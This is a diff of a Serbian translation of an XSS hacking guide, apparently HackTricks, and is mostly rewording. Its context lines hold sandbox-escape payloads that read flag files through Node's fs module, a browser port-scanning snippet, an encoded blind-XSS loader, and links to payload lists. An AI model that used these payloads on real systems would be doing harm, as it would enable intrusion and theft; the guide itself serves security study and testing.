od strane WAF-a. Kada otkrijete koje tagove možete koristiti, možete **brute-force-ovati sve događaje** koristeći validne tagove (na istoj web stranici kliknite na _**Copy events to clipboard**_ i pratite istu proceduru kao pre). ### Prilagođeni tagovi -Ako niste pronašli nijedan validan HTML tag, možete pokušati da **kreirate prilagođeni tag** i izvršite JS kod sa `onfocus` atributom. U XSS zahtevu, potrebno je da završite URL sa `#` kako biste učinili da stranica **fokusira na taj objekat** i **izvrši** kod: +Ako niste pronašli nijedan validan HTML tag, možete pokušati da **kreirate prilagođeni tag** i izvršite JS kod sa atributom `onfocus`. U XSS zahtevu, morate završiti URL sa `#` da biste naterali stranicu da **fokusira na taj objekat** i **izvrši** kod: ``` /?search=#x ``` @@ -228,7 +228,7 @@ onerror=alert`1` ``` ### Length bypass (small XSSs) -> [!NOTE] > **Više malih XSS za različita okruženja** payload [**može se naći ovde**](https://github.com/terjanq/Tiny-XSS-Payloads) i [**ovde**](https://tinyxss.terjanq.me). +> [!NOTE] > **Više malih XSS za različite okruženja** payload [**može se naći ovde**](https://github.com/terjanq/Tiny-XSS-Payloads) i [**ovde**](https://tinyxss.terjanq.me). ```html @@ -954,7 +954,7 @@ chrome-cache-to-xss.md ### XS Jails bekstvo -Ako imate samo ograničen skup karaktera za korišćenje, proverite ova druga validna rešenja za XSJail probleme: +Ako imate samo ograničen skup karaktera za korišćenje, proverite ova druga validna rešenja za probleme sa XSJail: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() @@ -987,7 +987,7 @@ constructor(source)() ``` Ako je **sve neodređeno** pre izvršavanja nepouzdanog koda (kao u [**ovoj analizi**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), moguće je generisati korisne objekte "iz ničega" kako bi se zloupotrebila izvršavanje proizvoljnog nepouzdanog koda: -- Korišćenjem import() +- Koristeći import() ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8"))) @@ -1009,7 +1009,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync( ) })() ``` -Na sličan način kao u prethodnom primeru, moguće je **koristiti rukovaoce greškama** da pristupite **omotaču** modula i dobijete **`require`** funkciju: +Na sličan način kao u prethodnom primeru, moguće je **koristiti rukovaoce grešaka** da pristupite **omotaču** modula i dobijete **`require`** funkciju: ```javascript try { null.f() @@ -1051,7 +1051,6 @@ trigger() - **Različite obfuskacije na jednoj stranici:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) -- [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs) - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) - [http://www.jsfuck.com/](http://www.jsfuck.com) @@ -1359,7 +1358,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms") }; } ``` -_Kratki vremenski intervali ukazuju na port koji odgovara_ _Duži vremenski intervali ukazuju na to da nema odgovora._ +_Kratki vremenski intervali ukazuju na port koji odgovara_ _Dugotrajniji vremenski intervali ukazuju na to da nema odgovora._ Pogledajte listu portova koji su zabranjeni u Chrome-u [**ovde**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) i u Firefox-u [**ovde**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist). @@ -1430,7 +1429,7 @@ shadow-dom.md https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt {{#endref}} -### Slepe XSS payloads +### Slepi XSS payloadi Možete takođe koristiti: [https://xsshunter.com/](https://xsshunter.com) ```html @@ -1499,7 +1498,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln ``` ### Regex - Pristup Skrivenom Sadržaju -From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) moguće je saznati da čak i ako neki vrednosti nestanu iz JS, i dalje je moguće pronaći ih u JS atributima u različitim objektima. Na primer, unos REGEX-a je i dalje moguće pronaći nakon što je vrednost unosa regex-a uklonjena: +From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) it's possible to learn that even if some values disappear from JS, it's still possible to find them in JS attributes in different objects. For example, an input of a REGEX is still possible to find it after the value of the input of the regex was removed: ```javascript // Do regex with flag flag = "CTF{FLAG}" @@ -1516,13 +1515,13 @@ console.log( document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"] ) ``` -### Brute-Force List +### Brute-Force Lista {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt {{#endref}} -## XSS Zloupotreba drugih ranjivosti +## XSS Iskorišćavanje drugih ranjivosti ### XSS u Markdown-u @@ -1544,7 +1543,7 @@ Više informacija o ovoj tehnici ovde: [**XSLT**](../xslt-server-side-injection- ### XSS u dinamički kreiranim PDF-ovima Ako web stranica kreira PDF koristeći korisnički kontrolisani unos, možete pokušati da **prevarite bot** koji kreira PDF da **izvrši proizvoljni JS kod**.\ -Dakle, ako **bot za kreiranje PDF-a pronađe** neku vrstu **HTML** **tagova**, on će ih **interpretirati**, i možete **iskoristiti** ovo ponašanje da izazovete **Server XSS**. +Dakle, ako **bot za kreiranje PDF-a pronađe** neku vrstu **HTML** **tagova**, on će ih **interpretirati**, a vi možete **iskoristiti** ovo ponašanje da izazovete **Server XSS**. {{#ref}} server-side-xss-dynamic-pdf.md @@ -1622,7 +1621,7 @@ id="foo"/> ```xml ``` -Pronađite **više SVG payload-a na** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +Find **više SVG payload-a u** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) ## Razne JS trikovi i relevantne informacije